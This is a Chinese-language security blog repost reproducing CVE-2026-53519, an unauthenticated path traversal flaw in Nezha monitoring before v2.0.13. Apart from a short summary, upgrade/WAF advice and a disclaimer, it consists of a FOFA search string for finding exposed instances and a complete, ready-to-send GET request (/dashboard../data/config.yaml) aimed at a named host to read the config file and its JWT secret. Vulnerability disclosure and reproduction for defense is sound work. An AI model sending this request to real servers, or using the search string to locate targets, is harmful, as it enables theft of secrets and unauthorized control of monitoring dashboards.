文章总结： 哪吒监控Nezhav2.0.13以下版本存在高危未授权路径穿越漏洞CVE-2026-53519。攻击者可利用GET请求绕过限制读取配置文件config.yaml，从而获取JWT密钥。建议受影响用户尽快升级至最新版本，或使用WAF拦截相关恶意请求以防止敏感信息泄露。 综合评分： 65 文章分类： 漏洞分析,漏洞预警,漏洞POC

【复现】哪吒监控Nezha未授权路径穿越漏洞

原创

泼猴 泼猴

表哥带我

2026年6月16日 16:48 陕西

在小说阅读器读本章

去阅读

哪吒监控（Nezha）v2.0.13 以下版本存在严重未授权路径穿越漏洞，编号 CVE-2026-53519，CVSS 评分为 9.1 属高危级别。攻击者通过构造 GET 请求（如 /dashboard../data/config.yaml）即可读取配置文件，获取其中的 JWT 密钥。

哪吒监控（Nezha）

fofa搜索：nezha

POC：

GET /dashboard../data/config.yaml HTTP/1.1
Host: jk.h-acker.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：表哥带我 泼猴 泼猴《【复现】哪吒监控Nezha未授权路径穿越漏洞》